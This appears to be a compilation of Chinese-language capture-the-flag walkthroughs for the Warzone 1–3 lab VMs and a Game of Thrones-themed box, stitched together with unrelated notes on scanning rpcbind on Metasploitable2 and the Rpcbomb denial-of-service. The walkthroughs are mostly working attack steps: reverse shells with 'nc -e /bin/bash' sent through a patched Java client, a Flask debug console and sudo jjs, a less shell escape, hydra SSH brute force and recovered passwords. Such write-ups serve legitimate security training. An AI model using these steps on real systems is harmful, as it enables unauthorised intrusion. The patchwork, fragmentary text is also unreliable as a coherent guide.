4.从网络查询我们可知,“Dracarys”来自奇幻作品《冰与火之歌》中高等瓦雷利亚语中的“龙焰”,是“龙之母”丹妮莉丝·坦格利安驾驭巨龙之火时使用的口号。靶机开放了22端口,所以很可能用户名是deanerys:
1.SSH登录后,查看文件权限,有两个程序可以利用:
1 sudo -l
2.但在/usr/lib/linuxmint/mintUpdate目录下没有那两个文件:
1
2 cd /usr/lib/linuxmint/mintUpdate
ls -la
3.回到~目录下,发现在.local/share目录下有一个daenerys.zip,解压出来的文件是djkdsnkjdsn,我们查看后提示我们note.txt的文件路径:
1
2
3
4
5 cd ~/.local/share
ls -la
unzip daenerys.zip
cat djkdsnkjdsn
4.查看note.txt,得到提示,再次网络搜索,得到khaldrogo的全名:
1 cat /usr/share/sounds/note.txt
1.khaldrogo就是root用户的密码,登录后在/root目录下能够找到flag,即nice.txt:
1
2
3
4
5 su root
cd /root
ls -la
cat nice.txt
名称:Warzone: 3
发布日期:2020.11.21
作者:AL1ENUM
系列:Warzone
推特: @AL1ENUM
Flags:
anunnaki:/~/underboss.txt
root:/root/boss.txt难度:困难
文件名:Warzone3.ova
文件大小:2.5GB
下载地址:
MD5: 3D82AB48E81BB31EE817EAECD8998747
SHA1: 8221A1683E3836903D050BF24E6E6601C72508B0
格式:Virtual Machine (Virtualbox - OVA)
操作系统:Linux(debain)
DHCP服务:可用
IP地址:自动分配
1.将靶机warzone3和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:
1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:
1 ifconfig,查看kali分配到的ip
1 nmap -sP 192.168.56.0/24,扫描靶机ip
2.再进行端口扫描,发现开放了21,22和4444端口,都是无法网页访问的:
1 nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.130 | tee nmapscan,端口扫描
1.来到21端口,我们发现ftp服务可匿名登录:
1
2 ftp 192.168.56.130
anonymous
2.在/pub目录下我们能发现note.txt及alienclient.jar,全部获取到kali查看一下:
1
2
3
4
5 cd pub
ls -la
get note.txt
get alienclient.jar
quit
3.在note.txt中有用户名alienum和密码exogenesis:
1 cat note.txt
4.运行alienclient.jar,发现是一个登录器,输入用户密码登录并没有反应:
1.我们将alienclient.jar反编译回.java的组成(http://www.javadecompilers.com/),在Starter.java的actionPerformed方法中,判断用户权限时,由于存在本地鉴权问题,在判断用户权限前需添加一句role = “astronaut”;来提升权限:
1
2
3
4
5 if (e.getSource() == this.viewButton)
role = "astronaut"; /*代码修改处*/
if (Starter.role.equals("researcher")) {
JOptionPane.showMessageDialog(this, "Permission Denied");
} else if (role.equals("astronaut")) {2.继续跟代码,发现reportList是执行代码list.setCmd(“tail -5 “ + f);,于是将它更改为list.setCmd(“nc -e /bin/bash 192.168.56.102 9002”);,并且将所有warzone.local改为靶机ip,重新编译成.jar,在kali开启对应端口监听,输入用户密码执行后,点击view:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18 public void actionPerformed(final ActionEvent e) {
try {
Starter.this.socket = new Socket("warzone.local", 4444);
Starter.this.os = new ObjectOutputStream(Starter.this.socket.getOutputStream());
final RE list = new RE();
list.setToken(Starter.token);
list.setOption("VIEW");
list.setValue("VALUE");
list.setCmd("nc -e /bin/bash 192.168.56.102 9002"); /*代码修改处*/
Starter.this.os.writeObject(list);
Starter.this.is = new ObjectInputStream(Starter.this.socket.getInputStream());
final RE response = (RE)Starter.this.is.readObject();
Starter.this.os.close();
Starter.this.socket.close();
Starter.this.reportValue(response.getValue());
}
nc -lvnp 9002
1.在exomorph用户目录下能够发现aliens.encrypted和wrz3encryptor.jar,都获取到kali:
1
2
3
4
5
6 cd ~
ls -la
python3 -m http.server 8001,exomorph开放http服务
wget http://192.168.56.130:8001/aliens.encrypted,kali获取
wget http://192.168.56.130:8001/wrz3encryptor.jar
2.再次对wrz3encryptor.jar进行反编,然后发现是AES的加密,可以写出解密方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21 public static void decrypt(String key, File inputFile, File outputFile) {
doDeCrypto(2, key, inputFile, outputFile);
}
private static void doDeCrypto(int cipherMode, String key, File inputFile, File outputFile) {
try {
Key secretKey = new SecretKeySpec(key.getBytes(), "AES");
Cipher cipher = Cipher.getInstance("AES");
cipher.init(cipherMode, secretKey);
FileInputStream inputStream = new FileInputStream(inputFile);
byte[] inputBytes = new byte[(int)inputFile.length()];
inputStream.read(inputBytes);
byte[] outputBytes = cipher.doFinal(inputBytes);
FileOutputStream outputStream = new FileOutputStream(outputFile);
outputStream.write(outputBytes);
inputStream.close();
outputStream.close();
} catch (Exception ex) {
ex.printStackTrace();
}
}3.对aliens.encrypted进行解密后,我们可以发现anunnaki用户及其密码:
4.可以通过ssh登录anunnaki用户,在用户目录下获得第一个flag,underboss.txt:
1.在/home/anunnaki目录下还可以发现secpasskeeper.jar.gpg文件,利用gpg解密:
1 gpg -o secpasskeeper.jar -d secpasskeeper.jar.gpg #passphrase为nak1nak1..
2.解密后能得到secpasskeeper.jar文件,继续对其反编后,修改main方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22 public class Main {
public static void main(String[] args) throws InvalidKeyException, NoSuchPaddingException, NoSuchAlgorithmException, BadPaddingException, IllegalBlockSizeException, UnsupportedEncodingException {
try {
Scanner in = new Scanner(System.in);
System.out.println("[Warzone 3] Root's Password Manager");
System.out.print("Secret passphrase : ");
String secret = in.nextLine();
Cryptor cryptor = new Cryptor();
Resources res = new Resources();
String user = cryptor.decrypt(secret, removeSalt(res.getCipher()));
String sys = cryptor.decrypt(cryptor.decrypt(res.gotSecret(), removeSalt(res.getSecret())), removeSalt(res.getCipher()));
if (true/*user.equals(sys)*/) { /*代码修改处*/
String plaintext = cryptor.decrypt(cryptor.decrypt(res.gotSecret(), removeSalt(res.getSecret())), removeSalt(res.getCipher()));
System.out.println("[+] Success, the password is : " + plaintext);
} else {
System.out.println("[x] Failed");
}
} catch (NullPointerException n) {
System.out.println("[!] Terminated");
System.exit(0);
}
}3.随意传递参数输入,可以得到root的密码为ufo_phosXEN,现在可以提权到root,并且在/root目录下发现第二个flag,boss.txt:
1
2
3
4 su root
cd /root
ls -la
cat boss.txt
名称:Warzone: 2
发布日期:2020.11.9
作者:AL1ENUM
系列:Warzone
推特: @AL1ENUM
Flags:
admiral:/~/Desktop/silver.txt
root:/root/Desktop/gold.txt难度:中等
文件名:Warzone2.ova
文件大小:2.6GB
下载地址:
MD5: FF639B25FB64A049E094FC20F51B732C
SHA1: E5B5CADF476129CC365EDF58C5855497B97F1AA5
格式:Virtual Machine (Virtualbox - OVA)
操作系统:Linux(debain)
DHCP服务:可用
IP地址:自动分配
1.将靶机warzone2和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:
1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:
1 >ifconfig,查看kali分配到的ip
1 >nmap -sP 192.168.56.0/24,扫描靶机ip
2.再进行端口扫描,发现开放了21,22和1337端口,都是无法网页访问的:
1 >nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.129 | tee nmapscan,端口扫描
1.来到21端口,我们发现ftp服务可匿名登录:
1
2 ftp 192.168.56.129
anonymous
2.在/anon目录下我们能发现username.PNG,password.PNG及token.PNG,全部获取到kali查看一下:
1
2
3
4
5
6 cd anon
ls -la
get username.PNG
get password.PNG
get token.PNG
quit
3.在网络上查询旗语的指代,可以得到用户名为semaphore,密码为signalperson,然后进行sha256加密再转hex后得到token为833ad488464de1a27d512f104b639258e77901f14eab706163063d34054a7b26,可以远程链接1337端口:
1 nc 192.168.56.129 1337
4.可以在kali开启对应的端口监听,获取shell:
1
2
3 nc -e /bin/bash 192.168.56.102 1234,靶机返回shell
nc -lvnp 1234,kali开启监听
1.在/flagman目录下我们能发现一个warzone2-socket-server目录,在其中的.mysshpassword文件可以发现flagman的ssh登录密码,可以登录到flagman:
2.在flagman用户下利用sudo -l命令能发现admiral用户能够执行wrz2-app.py,而flagman无权读写该文件:
3.运行wrz2-app.py发现程序在5000端口起了一个flask,并且开启了debug和输出了pin码:
1 sudo -u admiral /usr/bin/python3 /home/admiral/warzone2-app/wrz2-app.py
4.那么我们就要尝试在debug中获取反弹shell,获取用户admiral权限。由于监听在地址127.0.0.1,这里使用socat做了一个端口转发:
1
2
3 socat TCP4-LISTEN:15000,reuseaddr,fork TCP4:127.0.0.1:5000
sudo -u admiral /usr/bin/python3 /home/admiral/warzone2-app/wrz2-app.py,再开启一个窗口链接flagman执行wrz2-app.py
5.访问192.168.56.129:15000/console,输入wrz2-app.py生成的PIN,构造shell,在kali开启对应端口监听,成功反弹:
1
2
3
4 import os
os.system('nc -e /bin/bash 192.168.56.102 9002')
nc -lvnp 9002
6.在/home/admiral/Desktop目录下,我们能获得第一个flag,silver.txt:
1
2
3 cd ~/Desktop
ls -la
cat silver.txt
1.再通过sudo -l命令,可以看到less可以执行特权命令:
1 sudo -l
2.那我们可以直接使用less进行提权:
1
2 sudo -u root /usr/bin/less /var/public/warzone-rules.txt
:!id,在warzone-rules.txt编辑页输入
3.成功提权到root,并可以在/root/Desktop下发现第二个flag,gold.txt:
1
2 sudo -u root /usr/bin/less /var/public/warzone-rules.txt
cat /root/Desktop/gold.txt
名称:Warzone: 1
发布日期:2020.10.24
作者:AL1ENUM
系列:Warzone
推特: @AL1ENUM
Flags:
captain:/~/Desktop/user.txt
root:/root/Desktop/root.txt难度:中等
文件名:Warzone.ova
文件大小:2.2GB
下载地址:
MD5: 98FC0985C32A2380A0AFBF24222C22D5
SHA1: 0FB9DBC8D8516B462C4E1C8735D41B01D57F2B35
格式:Virtual Machine (Virtualbox - OVA)
操作系统:Linux(debain)
DHCP服务:可用
IP地址:自动分配
1.将靶机warzone1和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:
1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:
1 >ifconfig,查看kali分配到的ip
1 >nmap -sP 192.168.56.0/24,扫描靶机ip
2.再进行端口扫描,发现开放了21,22和5000端口,访问5000端口,发现栅栏密码:
1 >nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.128 | tee nmapscan,端口扫描
3.最后再进行一下目录扫描,没有太多值得关注的信息:
1 >gobuster dir -u http://192.168.56.128:5000 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描
1.栅栏密码的原文应该是Its a warzone,加密后变成Iwotaaznsre,将源码中的字串解密(http://www.atoolbox.net/Tool.php?Id=777)得到路径:
2.访问页面路径,得到8个用户及对应密码加密,加密字段无法用base64直接解开:
1.来到21端口,我们发现ftp服务可匿名登录:
1
2 ftp 192.168.56.128
anonymous
2.在/pub目录下我们能发现note.txt,提示我们密码都是用warzone-encrypt.jar进行加密的:
1
2
3
4
5
6 cd pub
ls -la
get note.txt
get warzone-encrypt.jar
quit
cat note.txt
1.查看warzone-encrypt.jar,发现是用AES对密码进行加密的,这样的话我们依加密算法写出解密算法即可:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32 Main.java
package encrypt;
import java.util.Base64;
import java.util.Scanner;
import Other.Obfuscated;
import crypto.AES;
public class Main {
public static String decrypt(String encryptpasswd) {
Obfuscated obs = new Obfuscated();
AES ea = new AES(obs.getIV(), 128, obs.getKey());
try {
ea.cipher.init(2, ea.key, ea.iv);
byte[] encryptbytes = Base64.getDecoder().decode(encryptpasswd);
byte[] decryptbytes = ea.cipher.doFinal(encryptbytes);
return new String(decryptbytes);
} catch (Exception ex) {
throw new RuntimeException(ex.getMessage());
}
}
public static void main(String[] args) {
while (true) {
Scanner in = new Scanner(System.in);
System.out.print("enter the encryptpassword to decrypt : ");
String encryptpassword = in.nextLine();
System.out.println("password : " + decrypt(encryptpassword));
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91 AES.java
package crypto;
import Other.Obfuscated;
import java.security.Key;
import java.security.MessageDigest;
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
public class AES {
public static final IvParameterSpec DEFAULT_IV = new IvParameterSpec(new byte[19]);
public static final String ALGORITHM = "AES";
public static final String TRANSFORMATION = "AES/CBC/PKCS5Padding";
public Key key;
public IvParameterSpec iv;
public Cipher cipher;
public AES(String key) {
this(key, 128);
}
public AES(String key, int bit) {
this(key, bit, null);
}
public AES(String key, int bit, String iv) {
if (bit == 256) {
this.key = new SecretKeySpec(getHash("SHA-256", key), "AES");
} else {
this.key = new SecretKeySpec(getHash("MD5", key), "AES");
}
if (iv != null) {
this.iv = new IvParameterSpec(getHash("MD5", iv));
} else {
this.iv = DEFAULT_IV;
}
init();
}
public static byte[] getHash(String algorithm, String text) {
try {
return getHash(algorithm, text.getBytes("UTF-8"));
} catch (Exception ex) {
throw new RuntimeException(ex.getMessage());
}
}
public static byte[] getHash(String algorithm, byte[] data) {
try {
MessageDigest digest = MessageDigest.getInstance(algorithm);
digest.update(data);
return digest.digest();
} catch (Exception ex) {
throw new RuntimeException(ex.getMessage());
}
}
public void init() {
try {
this.cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
} catch (Exception ex) {
throw new RuntimeException(ex.getMessage());
}
}
public String encrypt(String str) {
try {
return encrypt(str.getBytes("UTF-8"));
} catch (Exception ex) {
throw new RuntimeException(ex.getMessage());
}
}
public String encrypt(byte[] data) {
try {
this.cipher.init(1, this.key, this.iv);
byte[] encryptData = this.cipher.doFinal(data);
return new String(Base64.getEncoder().encode(encryptData));
} catch (Exception ex) {
throw new RuntimeException(ex.getMessage());
}
}
public static String encryptString(String content) {
Obfuscated obs = new Obfuscated();
AES ea = new AES(obs.getIV(), 128, obs.getKey());
return ea.encrypt(content);
}
}
1
2
3
4
5
6
7
8
9
10
11
12 Obfuscated.java
package Other;
public class Obfuscated {
public String getIV() {
return "w4rz0n3s3cur31vv";
}
public String getKey() {
return "w4rz0n3s3cur3k3y";
}
}2.将用户和加密后密码输入得到对应的用户及解密密码字典,利用hydra进行ssh爆破:
1 hydra -L user.dic -P pass.dic ssh://192.168.56.128
1.ssh登录commando用户,查看历史:
1
2
3 ssh commando@192.168.56.128
cat .bash_history
2.可以发现/home/captain/Desktop目录下有user.txt,但我们无权查看:
1
2
3 cd /home/captain/Desktop
ls -la
cat user.txt
3.在/.crypt目录下能发现readme.txt,readme.txt提醒密码就在这里,还有一段加密程序encrypt.py和.c:
1
2
3 cd .crypt
ls -la
cat readme.txt
4.查看encrypt.py,.c和script.sh,我们能够知道script.sh是将参数输入encrypt.py后由encrypt.py加密生成.c中的字串,我们可以写一个解密程序,将captain用户的密码解密出来:
1
2
3 cat encrypt.py
cat .c
cat script.sh
1
2
3
4
5
6
7
8
9
10
11 pip3 install simple-crypt
#!/usr/bin/python3
from simplecrypt import encrypt, decrypt
import os
import base64
key = 'sekret'
text = base64.b64decode('c2MAAk1Y/hAsEsn+FasElyXvGSI0JxD+n/SCtXbHNM+1/YEU54DO0EQRDfD3wz/lrbkXEBJJJd1ylXZpi/2dopaklmG6NCAXfGKl1eWAUNU1Iw==')
passwd = decrypt(key, text)
print(passwd)
5.登录到captain用户,可以查看第一个flag,user.txt:
1
2 cd ..
cat user.txt
1.通过sudo -l命令,可以看到jjs(jjs是让javascript可以调用java)可以执行特权命令:
1 sudo -l
2.那我们可以写一个java的shell提权利用js去调用再使用jjs去执行:
1 echo "Java.type('java.lang.Runtime').getRuntime().exec('/usr/bin/nc -e /bin/bash 192.168.56.102 1234')"|sudo jjs
3.成功提权到root,并可以在/root/Desktop下发现第二个flag,root.txt:
1
2
3 cd /root/Desktop
ls -la
cat root.txt
本文转自Mamba start 并作补充
rpcbind是NFS中用来进行消息通知的服务
攻击机:kali linux
ip:192.168.172.134
目标机:Metasploittable2
ip:192.168.172.129
命令:
nmap 192.168.172.129
命令:
nmap -sV -p 111 192.168.172.129
命令:
nmap -p 111 --script=rpcinfo 192.168.172.129
启动msf
命令:
use auxiliary/scanner/misc/sunrpc_portmapper
命令:
show options
本文讲的是只需60字节就可通过rpcbind让服务器崩溃,全世界的人都知道这玩意儿的用处,人们就这么任由它一直开着,无语。所以,要么补上,要么关闭吧。
向rpcbind服务的UDP套接字发送60字节载荷,便可填充目标内存,搞崩主机系统。
圭多·乌兰肯,该漏洞发现者兼“Rpcbomb”漏洞利用程序开发者,抱怨称该软件包维护者毫无反应,他不得不自己写了补丁。漏洞利用&补丁:https://github.com/guidovranken/rpcbomb
他写道,Shodan搜索发现,互联网上开放 rpcbind 111 端口的主机有180万台。其中大多数都运行在AWS之类大规模托管上,用户总是直接沿用Linux发行版的默认配置(111端口开放)。
如果你真的需要使用rpcbind服务(将远程过程调用RPC与地址绑定),就把它置于防火墙后,限制111端口对外开放吧。最好就是直接关了。
GitHub上的补丁足够小,开发者们应该可以验证这些补丁的短小精悍:rpcbind只需要两行代码就能修复,不像libtirpc要256行。
乌兰肯称,该漏洞可使攻击者在远程rpcbind绑定主机上分配任意大小的内存(每次攻击最高可达4GB),除非进程崩溃,或者管理员挂起/重启rpcbind服务,否则该内存不会被释放。
当然,除了不断占用目标系统的内存,攻击者还可以干别的事,因为有些软件在内存分配失败的时候,是会发生不可预知的错误的。